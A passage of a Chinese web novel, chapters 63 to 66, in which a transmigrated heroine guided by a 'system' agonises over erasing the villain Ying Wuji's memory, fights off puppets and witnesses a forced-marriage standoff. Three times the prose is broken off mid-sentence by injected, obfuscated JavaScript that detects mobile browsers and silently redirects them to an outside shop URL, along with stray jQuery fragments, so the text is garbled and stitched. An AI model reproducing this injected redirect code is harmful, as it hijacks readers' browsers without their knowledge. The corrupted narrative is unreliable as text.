这个问题让柳沅的脑神经突然崩了一下,随后她有点后知后觉地意识到应无霁可能没有和村里的人说过自己的真实姓名,于是连忙改口道:“是……是我姐姐,我说错了。” 这句姐姐让她想起了错的任务对象,错的任务,还有摆在她面前的,选择难题。 她的心被一只看不见的大手反复揉搓着,酸中带着微微的凉。 “你说俏儿姑娘呀,今早我在村里看见她了,她扛着一床大棉被,头发上衣服上全落满了雪,看着就冷,我就凑巧问她去不去观礼,她说你没和她说。”李桑字笑着讲述着,“她说你去的话她一定去。” 63. 你才不能忘记我(3) 柳沅感觉心里的那双大手更加肆无忌惮,酸到最后已经有了一丝撕裂的痛感。 系统在此时突然冒出来,应该是察觉到了她的情绪低落,试探性地安慰道:“这是书中世界,人物的既定命运都是无法改变的,就算过程不一样,也会趋向一样的结局。他们只是一本小说里的人物,性格和行为都是设定好的,宿主不用难过。” 听完它的话,柳沅垂下头,额前的发丝微微下垂,挡住了一部分她的眉眼。良久,她轻声说了一句知道了,音量很低,很快被雪花和寒风吹散。 李桑字走后不久,黑夜就降临了。冬天的夜晚总是来的格外早,柳沅坐在窗边,轻轻推开了窗户,往应无霁房间的方向望去。 雪越下越大了,天也越来越黑,从前那种浓厚的睡意并没有立即填满身体,她甚至格外的精神。 耳边传来系统的声音,催促着她做出选择。柳沅没理,只是望着那紧闭着的房门发呆。 “按照原著的时间线,在这个时候反派已经完成了蛰伏,要开始变强的第一个副本,屠村。原著小说里反派失去理智,杀人证道的情节就发生在初冬。” “也就是现在这个时间节点,宿主你……”系统特意没说完后半句,留给她时间慢慢思考。 柳沅的思绪很乱,系统的话在她脑子里变成了一团乱码,缓了好久她才听懂系统的意思。 “我会尽快做出决定的,你不用催我。”她深吸一口气,把视线从窗外收进来,随后关上了窗户。 她记得上次李桑字送来的药丸还有一个,正好可以趁着今晚吃下,然后远离这个地方。 消除应无霁的记忆后,她就先去镇上挑个最好的客栈住一晚,明天去看一眼李桑字,确保她和叶子桐不会有生命危险,然后就可以自由了。 系统说不用做任务了,她也不需要昧着良心,逼迫自己去讨好应无霁,也不用担心会被反派杀掉。 这样的生活是她梦寐以求的,求之不得的。 这不就是你一直想要的吗? 她在心里问自己。 按照她的性格,此刻应该理性分析所有的可能,得出最没有风险,对自己最有利的选择。 她扯了扯嘴角,突然大笑一声,把系统吓了一大跳。 “你怎么了?“系统不解道。 柳沅低着头,看不清表情,但声音里带着雀跃:“终于可以摆脱这个任务了,我不应该开心吗?“ “可是你刚才还不是很纠结吗?怎么这么快就想通了?”它纳闷道。 房间里安静了一瞬间,随后,柳沅抬起头,深吸一口气,转身去找药丸,声音有点抖:“你都已经说了理由啊。目前最明智的做法就是消除应无霁的记忆,我又不是傻子,还能对一个注定要杀我的反派有什么多余的感情啊?” 这话听着很有道理,但系统还是半信半疑,问道:“你确定?” “确定,”她已经找到了当时李桑字送来的那个饭盒,利落打开,找到了那个装药丸的盒子,“我骗你干什么?” 系统这才放下心来,絮絮叨叨地和它说了自己怎么和主系统讲述这件事的不对劲,后来它们发现哪个环节出了问题,又是怎么找出解决方案的。 过程跌宕起伏,系统讲的激情澎湃。 可柳沅没有在听。 她只是呆呆地盯着饭盒里遗落的几个盘子,突然想起了应无霁那天给自己做的饭菜。 他好像总是淡淡的,什么也不说,但每当她需要的时候,他总会默默出现。无论是王大牛那次的挑衅,还是好几次舍命相护,他永远会及时出现在她身边,坚定地选择她。 不感动吗?不可能,柳沅有心。 但会因为这个选择赌一把吗? 她一阵恍惚,最终还是选择吞下了药丸,义无反顾地踏出了房门。 月亮更大更圆了,不知道是不是柳沅的错觉,月亮的边缘还带着一圈淡淡的红光。 “哎呀,今晚正好是月圆之夜,他的旧伤发作的时候。”系统的激动起来,“真是天助我们也,宿主你可以对他为所欲为,断掉他的经脉也不成问题,到时候咱们彻底就没了这个后顾之忧了。” 闻言,柳沅的动作顿了顿,肩上背着的包袱突然有点重,胸口挂着应无霁送给她的荷包,沉甸甸的,压的她心脏无端地发紧。 系统还在那里滔滔不绝地说如何趁机对应无霁落井下石,她却在要走出院子的时候突然停住,然后调转方向,朝着应无霁的房间猛冲过去。 “不是,我刚才只是随便说说,就算是虚弱状态他也是很厉害的,宿主你别昏头啊。”系统吓得机械音都结巴了。 柳沅已经跑到了门前,弯下身子扶着膝盖不停地喘气,缓了一会儿,无视系统的警告,用力推开了房门。 房间内,应无霁瘫倒在地上,浑身是血,痛苦地低吼着。 几乎是一瞬间,他感知到了柳沅的气息,猛地抬头。 那双爬满血色的眼睛让柳沅的心重重一跳,几乎是同时,她愣神了几秒,就是这几秒的时间,应无霁低吼一声,朝她扑了过来。 门被重重地关上,柳沅感觉自己被一只饥饿的野兽扼住了喉咙,痛苦地挣扎着。 应无霁有点失去理智,双手掐着柳沅的脖子,面目狰狞。 “应……无……霁……”她说不出一句完整的话来,只能瞪大了眼睛,紧紧盯着应无霁。他的样子实在是太可怕了,浑身是血,脸上手上遍布了撕裂的伤口,特别是那沾血的牙齿,好像马上就要落在柳沅的脖颈间。 “应……无……霁……“她艰难地呼吸着,同时举起双手,伸到了他的背后,犹豫了一会儿,还是轻轻落在了他的脸颊。 “不是,宿主你打他啊,你摸他脸干什么?!“系统在脑海里疯狂咆哮。 柳沅的脑子嗡嗡的,但还是下意识不想去伤害应无霁,只是执着地盯着他的眼睛,目光悲伤。 “应无霁,你醒醒。我是柳沅。” 他布满血丝的眼睛有一瞬间地放大,随后柳沅看见了一闪而过的挣扎,随后又被暴虐填满。 脖颈间的力量消失了,柳沅被重重摔到了门上,应无霁在地上滚了几圈,狠狠朝着自己的胳膊咬了上去。 肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那一瞬间,时间仿佛静止了,柳沅的脑袋一片空白,耳边也响起了嗡嗡声,像老式电视机坏掉的声音。 一声接着一声,仿佛她的心脏也跟着坏掉了。 那股血腥味慢慢消失,取而代之的是柔软,温热,还有一点点,试探性的潮湿。 柳沅猛地抬眼,正好对上应无霁雾蒙蒙的眼睛。 红色褪去,暴虐褪去,剩下的只有震惊和炽热的欲望。 柳沅的心重重地跳了一下,伸出手想推开他,结果反被攥住。 应无霁将她抵在门板上,低着头,重重地亲了下去。他的眼角还残留着因为痛苦流出的生理性泪水,配上浓郁的睫毛,像挂在夜空中亮闪闪的星星。 柳沅恍惚了一阵,在他想要更进一步时,猛地推开了他。 啪—— 房间里响起清脆的巴掌声,应无霁错愕地抬起头,半边脸颊缓缓浮起一道显眼的红色。柳沅胸膛不停地起伏着,整个人红成了一只煮熟的虾,推开门就要走。 “别走。”应无霁微弱的声音在房间里响起,像一粒尘埃,微微落在她的心上。 有点重,又有点轻。 “柳沅,”他喊了她一声,声音里带着点哀求,“你别走。” 64. 你才不能忘记我(4) 刚才清醒的那一瞬间,应无霁看见了柳沅肩膀上背着的小包袱。 她要走吗? 这一瞬间的恐慌压过了身体里暴走的力量,让他有机会甩开她,趁着自己神志还算清醒,不做出伤害她的举动。 既然想走,那就走吧。 可是,他抬头,目光晦涩地望着此时要离开的柳沅,声音沙哑:“既然一开始就要走,刚才为什么不走,为什么还要管我是死是活?” 他的神情带着深切的悲伤,细看还有些不甘和被欺骗的愤怒。 柳沅匆匆收回视线,咬紧下唇,下定决心转身。门被重重地关上,少女凌乱的脚步声很快远去。应无霁低下头,自嘲地笑了一声,缓缓蜷起身体,抱住了自己。 又下雪了,月光照在洁白的地面上,反射出强烈的光,昏暗的天和明亮的地面形成了极大的反差,柳沅跌跌撞撞地跑出霞村,往镇上赶去。 这个世界的夜晚果然很危险,才跑出去一点距离,柳沅就遇到了十种不同的妖怪。但奇怪的是,这些妖怪看到她,不仅没扑上来,还十分害怕地逃走了。 柳沅把这一切归功于系统的守护,脚步不停地往镇上跑。 “呃,”系统有些欲言又止。 “想说什么就直接说。”柳沅很是坦然。 系统犹豫了一会儿,还是说道:“我刚才还以为你不会走了,毕竟应无霁都那样了……” 柳沅的脚步因为这一句话顿住了,表情也有一瞬间的不自然,甚至还下意识咬了咬自己破皮的嘴唇。 但系统并没注意她的不对劲,继续道:“他看起来挺可怜的,像被主人抛弃的流浪狗。” 闻言,柳沅停了下来,有些疲惫地靠在一旁的大树边,微微叹了一口气。 其实她刚才也是头脑一热,什么也没想就往外冲了。现在想想,自己是不是太冲动了。应无霁还那么虚弱,还处在发狂的边缘,如果自己留下来,那他屠村的剧情是不是不会发生? 想着想着,她又有点想掉头回去,就在这时,林子深处突然传来树枝断裂的声音,紧接着,一道道鬼魅的影子闪过,柳沅即刻警觉,躲在了树干后。 是一阵凌乱的脚步声,伴随着飞扬的雪花,是冲着她这边来的。 “宿主,剧情提前了!”系统发出一声惊呼。 紧接着,柳沅立即发动体内的灵力,向上凌空一跃,跳到了树枝上。只听得树下传来一声巨响,她刚靠着的树干处出现了一个深坑,脚下的树枝开始摇摇欲坠。 一个满身是血的人跳了出来,嘶吼一声,就往她所在的地方飞扑过来。柳沅反应迅速,调起全身的灵力,聚集在腿部,一脚把他踹翻了,一个飞身飞到了另一棵更大的树上。 这棵树更高,视野更开阔,她喘了口气,低头一看,地面上密密麻麻的全是人,满身是血的人。 远处,一道熟悉的身影立在山头,似乎察觉到了柳沅的目光,咻的一下往这边看过来。柳沅赶紧藏在了树叶里,这才没有被发现。 那人…… 刚才借着月光,柳沅看到了他的脸,虽然很模糊,但还是能看清个大概。 是叶子桐。 心里掀起惊涛骇浪的同时,她想起了系统的话。 它说这本书的男女主是不会死的,那叶子桐就没有死,但它说应无霁一定会变成冷血无情,杀人如麻的反派,就一定会发生吗? 弄错任务对象是系统的失误,那就说明系统的话并不是权威,也会有出错的时候。 但,虽然系统一开始搞错了任务对象,但是关键的剧情节点没出过错。 所以,难道要赌应无霁变成反派的可能性吗? 柳沅的脑袋一片混乱。 嘴巴上的伤口还在隐隐作痛,她突然想起了那个意外的吻,带着痛的,酸涩的,还有一点点渴望的,吻。 她有些手忙脚乱地低下头,后颈全部红了,就这个动作,让她察觉到了怀中的奇怪,拉开衣襟一看,是一只纸包。 是那包着烧鸡的纸包,已经凉透了。 她垂下眼睛,睫毛有点抖。 “男主给霞村的村民都下了蛊虫,操纵他们准备明日大闹云城,应无霁就是在这里发疯,屠了整座云城。”系统语速飞快地解释道。 “宿主,我们得快点离开了,以你现在的实力以及我的保护,我们能快速到达孟府,提前藏起来,等抢婚的剧情过去,我们只要保证自己活着,李桑字被叶子桐顺利带走就可以了。” 柳沅却突然愣住了,眼看那些傀儡越聚越多,离开的路都被堵住了,系统不由得着急起来,大喊道:“宿主,快走啊。” “别发呆啊!” 闻言,柳沅唰的一下飞到地面,不仅没趁机离开,还站在原地不动。 系统急得不得了,差点就破口大骂了。 柳沅静静地望着远处出现的那道熟悉身影,喉咙里一阵干涩。 “走不掉了。”她低声道。 月光照在应无霁那张惨白的脸上,配上他那鲜红欲滴的嘴唇,活像一个来索命的恶鬼。 他的视线牢牢锁定在柳沅身上,带着很深的寒意。柳沅想跑,还没来得及动作,就听见他疲惫的声音。 “柳沅。”应无霁在喊她的名字。 “我们谈谈。” 话音刚落,那些傀儡敏锐地嗅到了应无霁身上的血腥味,吼叫着就往他身上扑。 一道强劲的力量以他为中心,将那群傀儡无情地全部扫开。 血肉和骨头炸开的声音不绝于耳,柳沅第一次看见他露出那么可怕的眼神。 “管好你的东西。”应无霁抬起头,冷声道。 奇迹的是,他说完这句话后,那些傀儡便纷纷退开了,一时间,这片树林只剩下他们两人。 应无霁缓了一会儿,又恢复了面无表情的样子,直勾勾地盯着柳沅。 这段日子应无霁对柳沅的态度缓和了很多,让她忘记他本来就不是一个温和的人。他突然面无表情地盯着自己,柳沅总觉得背后一阵发寒。 总感觉她做了什么亏心事。 柳沅有点尴尬,张开嘴想说话,结果好几次都没说出口。 应无霁上上下下仔仔细细把她看了一遍,最后诡异地停留在她破皮的嘴角了很久,一时间,两人都十分默契地偏过了头。 “那个,”柳沅终于找回了自己的声音,“多谢你啊,如果你不来,我就要被这群怪物围住了。” “你又救了我。” 应无霁没说话。 柳沅悄悄抬头看他,发现他痛苦地皱起了眉头,身形也有点不稳。 “你没事……吧?”话还没说完,应无霁突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他往后退了几步,给两人留出一段安全距离,努力让自己的语气显得和平常一样,但话尾音的颤抖还是暴露了他的不安。 “你记得给我带烧鸡,油要用最好的,火候要适中。“ 应无霁笨拙地模仿着平时两人对话的语气,努力装作一副不在意的样子。柳沅看见他这样,心一抽一抽地疼。 “好呀,那我给你带香满楼的?”她语气温和,甚至还笑了出来,好像今晚的事情都是一场梦,梦醒了,一切都能回到原来的样子。 应无霁也笑了,笑容苦涩:“香满楼的味道不好,还是去莲玉馆,那边还有瓦罐汤,味道鲜美,浓淡适中。” 两人就这样你一言我一语地谈论着食物,直到系统的声音突兀地插进来。 “宿主,必须要走了。” 柳沅的睫毛颤了颤,突然,对着应无霁弯了弯眼睛。 他一愣,目光突然柔和下来,有点小心翼翼地说道:“我有时候状态不稳定,对不起,我不是故意要亲你的,我是真的……” “我没怪你,”柳沅笑笑,伸出双手,勾住了他的脖子,语气很轻:“应无霁我没怪你。” 闻言,他脸上的阴霾一扫而空,取而代之的是单纯的喜悦。 柳沅望着他脸上的笑,心像被针扎了的难受,可她还是笑着,给了他一个拥抱,然后狠狠锤向了他的后脑勺。 应无霁带着震惊的表情倒下去的时候,柳沅趁机转身,头也不回地逃走了。 他用尽了浑身的力气,这才没让自己刚刚压制住的暴虐再度控制全身。 “你又骗我。”应无霁带着不甘,死死地盯着那道落荒而逃的背影,声音被微风吹散。 65. 你才不能忘记我(5) 柳沅到达镇上的时候,天才蒙蒙亮。奔波了一整夜,她的身体疲惫不已。 街道上静悄悄的,荒无人烟,刚走进城门的时候,她还以为自己又中了妖怪的圈套,误入了什么幻境。 直到脑海里系统的提示音响起:“已到达云城,请宿主抓紧时间,及时到达孟府。” 柳沅随便找了面墙,靠着闭目养神了一会儿,就往系统标出的孟府的方向走去。 “叶子桐大概会在两人拜堂的时候出现,这个时候李桑字绝对会反抗,周围的宾客中也有很多修仙者,你的任务就是混淆视听,帮助叶子桐顺利带走李桑字。”系统解释道。 柳沅困得眼睛都睁不开,闻言敷衍地点点头。 突然,街道的拐角处闪过一道影子,看身形有些熟悉,柳沅瞪大了眼睛,悄悄藏到了一边。 此时她已经走到孟府附近,看到大门打开,陆陆续续有一些丫鬟仆从出来了,那道身影飞速混入其中,跟着人流进去了。 柳沅认出来那人是阿花,顿时有种不详的预感。她从随身携带的包袱中翻出应无霁给的那一叠符纸,动作顿了顿,有些出神,直到系统的声音在耳边炸开:“不对,我记得原著中这个角色在后面出现啊……” 她立即甩出一道易容符,幻化成丫鬟的样子,也混入了人群。 “你说清楚。”柳沅道。 系统解释道:“原书中有这样一个情节,反派屠村后力量枯竭,被一个傀儡捡到,刚才混进去的那个人就是那个傀儡。宿主你还是别跟上去了,这是反派的剧情,我们好不容易才甩开应无霁,最好不要再扯上关系。” “你都已经说了这人本来不该在这个时候出现,”柳沅紧紧盯着阿花的背影,对系统说道,“要是她的出现破坏了原定的剧情走向,影响到李桑字和叶子桐怎么办?” 她反复告诉自己,这是正常的推理,和应无霁没有关系。她既然已经选择了消除他的记忆这条路,那就不能回头。 系统倒是没怎么想多,叮嘱了她注意别被发现,就消失了。 柳沅藏在队伍的末尾,时刻关注着阿花的动向。 孟府的布局并不复杂,比方府小很多,也简单很多。绕过大厅顺着走廊就到了居住的院子里,主管招呼着丫鬟小厮打扫,阿花悄悄换了条路,往东边的走廊溜去。 幸好柳沅提前留了个心眼,注意到了她的行动,飞速地跟了上去。 孟府怎么会有这样的地方?柳沅跟着阿花越走越觉得不对劲。 眼前的院子破破烂烂的,像荒野中被遗弃地的房屋。墙壁和角落里到处长满了枯黄的杂草和藤曼,院门也坏了,虚虚地抵在门框处,要是突然吹来一阵风,怕是立刻就会倒下来。 雪花静静地飘落,将柳沅的头发染上了一丝白色。她耐心地望着阿花,发现她轻巧地爬上围墙,翻了进去。 这下柳沅是真看不到她接下来要干什么了。 堆积在围墙边的雪地留下一对脚印,很快又被新鲜的雪花掩盖。她咬咬牙,也跟着跳了进去。 没想到就是这不到一分钟的差距,进到院子里后,柳沅已经看不见阿花的踪迹。 唰—— 是利器划破空气的声音,柳沅迅速反应,侧身往左边一躲,没想到还是被勾破了衣服。火辣辣的疼痛从手臂处传来,她盯着衣料上溢出来的血,暗自调起了浑身的灵力。 应该是阿花发现她了,所以故意引她来这,想杀人灭口。 她满心警惕地等待了许久都不见再有任何异样,这时,系统焦躁的声音响起:“宿主,出大事了,孟止些出事了!” 她警惕地注视着四周,一步一步退到门边,确认这个位置较为安全后,才问系统道:“接下来我应该怎么做?” “李桑字和他在一起,为防止剧情变动,宿主你需要赶到他们所在的院子。” 背后靠着的门摇摇欲坠,柳沅一个闪身,迅速推开门闪身出去。 这时,躲在暗处的阿花勾了勾手指,正好切下她的一片衣角。 那烟灰色的布料落在手心,带着点点血迹。阿花迅速将东西收起,跳上屋顶,消失在了漫天白雪中。 柳沅赶到院子的时候,里面已经乱成了一团。进进出出很多人,脸上都是惶恐和不安。她一眼就看到了穿着嫁衣的李桑字。 画上红妆的李桑字看起来美丽极了,但眼含泪水,眉毛也皱着,一副六神无主的样子。柳沅悄悄解了易容咒,匆匆忙忙挤开人群,踏进了房门大开的房间。 李桑字一看见她,挤在眼眶里的泪水就那么哗啦啦地流了下来。 “你……你……我还以为你不会来了……抱歉,出现了一些意外……”她几乎是语无伦次。 柳沅走到她身边,轻轻拍了拍她的肩膀,安慰道:“没事的。” 怎么可能?她望着李桑字,心中泛起一股莫名的怜悯。 你无法得到你想要的人生,会一直和叶子桐纠缠,而柳沅,将成为促成这一切的某个推手。 柳沅强装镇定,笑着道:“别忘了,我还是会一点法术的,说不定能帮上忙。” 闻言,李桑字的眼睛一亮,忙问道:“真的吗?” “我跟着应无霁……”话出口的一瞬间,柳沅愣了愣,随后不自然地改口道:“反正我就是会一点。” 有她这句话李桑字就放心了,拉着她走到房间的屏风后,床上躺着一个长相清秀,面色惨白的少年。 他穿着红色的喜服,双眼紧闭,看上去十分虚弱。 呃,柳沅甚至揉了揉眼睛,这人长得怎么那么像叶子桐。 与其说这两人长得像,倒不如说气质很相近,都有一股温柔的书卷气。 只不过叶子桐是装出来的,孟止些更病弱些。 “宿主,他是被一种鬼魂附身了。”系统突然道。 鬼魂?附身? 柳沅下意识抬头去看窗户,现在明明是白天,鬼魂附身?除非孟止些在晚上出去过,鬼魂怎么可能在白天存在呢? 之前柳沅在镇上闲逛的时候,了解到这个世界存在两种危险,一种是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290729|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼魂,一种是妖怪。鬼魂比妖怪更危险,但只会在夜间存在。 但孟止些身上的这个东西,竟然能在白天还活着吗? 柳沅皱眉,好像这个世界的某些东西,在她看不见的地方,悄悄改变了。 “你有更多的信息吗?说来听听。”她道。 系统于是说:“这种鬼魂叫做月乌,性格温顺,喜欢交朋友,所以常常出现在人群密集的地方,比如大型的城镇和乡村。因为一些特殊原因,它们自带厄运体质,会给周围的人带来不幸,但并不拥有附身于人的能力。” 说到这里,系统的声音变得有些沉重:“所以它凑巧会出现在这里,又凑巧附身在孟止些身上,一定是有人故意安排。” 而在听完系统的怀疑后,李怀朔的模样缓缓浮现在柳沅的脑海中。除了他,她一时半会想不到别人会主动掺和这种事情。 “应无霁虽然是这个世界设定的反派,但截至目前并没有做过什么伤天害理的坏事吧,你说会不会有另一种可能,就是李怀朔其实顶替了应无霁的位置,成了真正的反派呢?”柳沅道。 系统否认了她的想法,强调道:“就算这个世界将部分反派剧情加给李怀朔,应无霁依旧摆脱不了反派的身份,就像电视剧里设定好的一样,如果那些特定的事情他没有去做,他就没有戏份。” “没有戏份就意味着他会消失。” 柳沅潜藏在内心的最后一丝侥幸被打散。半晌,她哦了一声,低下了头。 床上的孟止些却突然睁开眼睛,坐了起来。李桑字还以为他没事了,抹着眼泪就要坐到床边问候他,这时,柳沅感知到一股熟悉的力量,一把拦住了李桑字。 “怎么了?”她美丽的眼睛惊恐地睁着,疑惑不解地望着柳沅。 柳沅没说话,使劲把她往后面拉了拉。 这时,床上的孟止些突然止不住地颤抖起来,期间,有浓厚的白雾从他的天灵盖冒出来。这股力量十分熟悉,就好像…… 柳沅的衣领动了动,一股强大的吸力狠狠把她往床边拽去,幸好李桑字反应过来不对劲,拉了她一把,柳沅这才站稳。 她低头一看,那两块随身携带的玉石被孟止些头顶上冒出来的白雾吸引,咻的一下飞了出去,紧接着,她的身体里莫名奇妙地涌上一股强烈的渴望,就好像那股力量生来就是属于她的一样。 柳沅当即把李桑字护在身后,同时调起身体里全部的力量,努力抵抗着那股力量对自己的吸引。 那天晚上感受到的疼痛又来了。 起先只是麻痒,随后是一阵接着一阵的剧痛。 仿佛骨肉被强制分离,她满头大汗,几乎要站不住。 意识模糊间,袖子里有个什么东西飞了出来,紧接着,那股难受的疼痛减轻了一些,柳沅终于可以睁开眼睛。 是桃木枝。 她的大脑一片空白,竟然是应无霁随身携带的桃木枝。 是他来了吗?柳沅的心间突然漫上大把大把的慌乱,还有一点点,她不愿意承认的期待。 66. 你才不能忘记我(6) 与此同时,外面突然响起喧闹声,伴随着什么东西倒塌的声音。 “叶子桐!你竟然没死!” “大家快把这个魔头杀了!把他杀了!” 然后是兵器相撞的声音,血肉撕裂的声音,还有痛苦不甘的吼叫声。 李桑字的眼角还残留着泪水,见状整个人都慌了,啪的一声摔倒在地。 “他回来了,他怎么回来了,怎么办?怎么办?”她不安地抓紧了袖口,惶恐地盯着门,生怕下一刻冲进来的就是那个她最不想见到的人。 桃木枝啪的一下掉在地上,柳沅也终于力竭,还是控制不住地被那股力量吸引到了孟止些身边。 那团白雾在接触到她的手心时突然变化,变成了一团棉花形状的光点,紧接着,柳沅的眼前闪现过一些模糊的画面。 是夜晚,月亮挂在天际,发出冷白色的,微弱的光。 视线渐渐变得清晰,柳沅发现天空的月亮小了很多,也没有那么亮。 那团棉花状的东西又蹦了出来,躺在一个人的肩头,叽叽喳喳说着话。 “你真的能听到我说话吗?” 那人背对着柳沅,看不见脸,但身上的那股力量她再熟悉不过。 是李怀朔。 他依旧穿着那身白色的长袍,转身的幅度有点大,露出眉心那块显眼的剑痕。 “当然,我对你用了一些小法术,以后你说大家都能听懂了。”他笑容温柔。 月乌似乎很开心,从他的肩膀跳到他的掌心,声音还带着很深的稚嫩:“那太好了,人族的世界里也会有很多像你这样的好人吗?他们也会陪我一直说话吗?” “当然,你一直呆在森林里也会很孤单,所以我才要送你出去。”李怀朔道。 “但是,”月乌在犹豫,“出去之后是不是不能见到你了?” 这时,一个穿着红色衣服的女子从李怀朔身后跳了出来。 柳沅一怔,竟然是贺听舟。 她好奇地戳了戳月乌,发现这小家伙呆呆的很好玩,于是恶作剧似地把它抢到手心里,使劲捏了捏。 李怀朔冷冷地扫了她一眼,食指微微一屈,贺听舟就哎哟一声,摔了个结结实实。 “呸,”她吐出嘴里的血,一瘸一拐地从地上爬起来,脸上带着不屑的笑,道:“你还真是开不起玩笑。” 李怀朔没理她,只是重新对着月乌露出柔和的笑,强调道:“我们以后一定会见面的,只要你乖乖呆在我给你选择的地方。” “真的吗?”月乌的语气变得十分雀跃。 “假的。”贺听舟故意说道。李怀朔对着她正在流血的头部又是一击,她疼的说不出话来。 李怀朔这才转过身,目光温柔的好似春日被阳光晒暖的湖水。 “我们是朋友,朋友之间是不会有欺骗的。” 记忆在这里结束,柳沅仿佛窒息边缘抓住了岸边的潜水员,急促地呼吸着,等到她完全回过神,孟止些头顶上的白雾已经完全消失了。 经脉里还残留着一点点的疼痛,她剧烈地咳嗽几声,扶着旁边的屏风,闭上眼睛缓了缓。 手背被什么东西戳了戳,她睁开眼睛,发现是桃木枝。这家伙指了指旁边,柳沅这才看见自己脚边散落着三块一模一样的玉石。 她蹲下身捡起这些玉石,看了一眼周身气息平缓的孟止些,意识到这多出来的一块正是从他身上来的。 桃木枝飞到她肩膀处,晃了晃,似乎在求夸奖。 柳沅有些无奈,但还是放柔了语气道:“谢谢你啊,不过你怎么会跟着我,应无霁没有你会很不方便吧……” 还没等她把话说完,外面突然传来一声巨响,紧接着,李桑字跌跌撞撞地跑到床边,握住了孟止些的手。 “他……是他回来了。”李桑字对上柳沅疑惑的眼神,轻声道。 能让她露出六神无主的表情的人只有一个——叶子桐。 柳沅望着她,心里五味杂陈。 李桑字的脸上有慌乱,有痛苦,更多的是麻木,还有一丝坚定的决绝。柳沅直觉她要干出什么不太好的事情,忙安慰了她几句,就自告奋勇到门边,说一定不会让叶子桐进来的。 李桑字感激地看了她一眼,低声说了句多谢。 床上的孟止些已经醒了,刚张开嘴还没来得及说话,就被李桑字抱了个满怀。 “小桑……怎么了?”虽然不明白为什么她这样做,孟止些还是敏锐地察觉到了她的不安,急忙问道。 在他的心里,李桑字永远比他自己重要。明明刚刚醒来虚弱的是自己,可他还是那么关心自己面前的这个人。 想到这里,李桑字眼眶里的泪止不住地往下流。 “怎么了?是谁欺负你了?”孟止些顿时手足无措,只能用尽全身力气把她抱的更紧了些。 李桑字吸吸鼻子,强颜欢笑道:“没事,我就是太开心了。” 柳沅靠在门边,望着这两人,突然觉得有种诡异的熟悉感。 “你又想到应无霁了?”系统随口问道。 他们拥抱的时候,系统根本就不在,也不可能知道。明明知道系统只是在开玩笑,但柳沅还是不自在地挠了挠头,飞速否认道:“没有,和他有什么关系?” 系统发出意味不明的笑声,拖长了声音道:“哦。” 柳沅强迫自己把注意力放在外面的打斗声中。 很乱,但大体能分辨出局势——叶子桐占了上风,但那群修仙者不依不饶,死战不退,竟然真的把他牵制住了。 叶子桐的灵力明显变得焦躁起来,系统也在此时催促着她完成任务,把李桑字送出去。 不过,柳沅苦恼地扶着下巴,望着远处相拥的两人,良心不安。 “我有点下不去手,再等等吧。”她叹了一口气。 如果她现在就把李桑字推出去了,孟止些大概一辈子都见不到她了。 这本书的狗血基调就注定了李桑字要和叶子桐一直纠缠,修仙者和凡人之间隔着无法跨越的鸿沟,孟止些作为一个原文中过渡的炮灰角色,只是个凡人而已,又怎么能够突破剧情的限制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299572|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把李桑字护住呢? 柳沅突然有点讨厌这本书,讨厌这既定的故事情节。 系统许是察觉到了她的情绪,没有再催她进行任务。 反正结局都是注定的,不过是需要一个启动的契机罢了。 这个想法在柳沅心里出现的一瞬间,外面的喧嚣突然停了,像有人按下了这个世界的暂停键。 “小桑,”叶子桐阴冷的声音透过厚厚的木门,响彻在房间的每一个角落。 “我给你两个选择,一是自己出来,而是我进去把你带出来。” 柳沅看见李桑字的背影僵了僵,随后,门边的空间突然晃动了一下,一股强大的吸力袭来,险些把她吸到门上。 柳沅及时调起身体里的力量才没波及到。她是修仙者,有力量自保,可房间里的另外两个人没有力量防身。李桑字被这股力量震得吐了一口血,孟止些更是严重,不住地往外吐血。 叶子桐似乎料到了房间里正在发生的事情,警告道:“你可以不出来,但是我不确定你身边那个人能不能撑到我对你失去耐心。” 这句话落下的一瞬间,李桑字就激动起来,踉踉跄跄地跑到门边,大喊道:“你这个卑鄙的小人!” 叶子桐本来也是试探,骤然听到心中一直惦记着的声音,诡异地笑了出来。 那笑声一阵一阵,断断续续的,听起来瘆得慌。 柳沅默默往远离房门的地方走。 她和系统都直觉接下来要发生些不好的事情,而且她站在这里,好像什么都做不了,不如早点远离风暴中心。 “唉,看的我难受。”柳沅扭过头,盯着远处的窗户,深深地叹了一口气。 系统却显得的很兴奋:“宿主你不觉得就在眼前的狗血强制爱剧情很带感吗?这可不是每天都能看见的。” 闻言,柳沅冷笑一声,质问道:“那是你,你可以站在上帝视角审视这一切,我不能。” 我是正在经历着这一切的人。 她默默对自己说。 “所以你才会在应无霁的事情上这么犹豫吗?”系统随口问道。 柳沅的视线在某个地方停顿了一下,随后飞速撤开,硬邦邦说了句没有。 门边,叶子桐不紧不慢地说着些威胁的话,为的就是破掉李桑字的心理防线,让她崩溃,让她无法反抗,最后乖乖地出去。 说真的,他这一招确实很高明,至少对李桑字来说,是致命的手段。 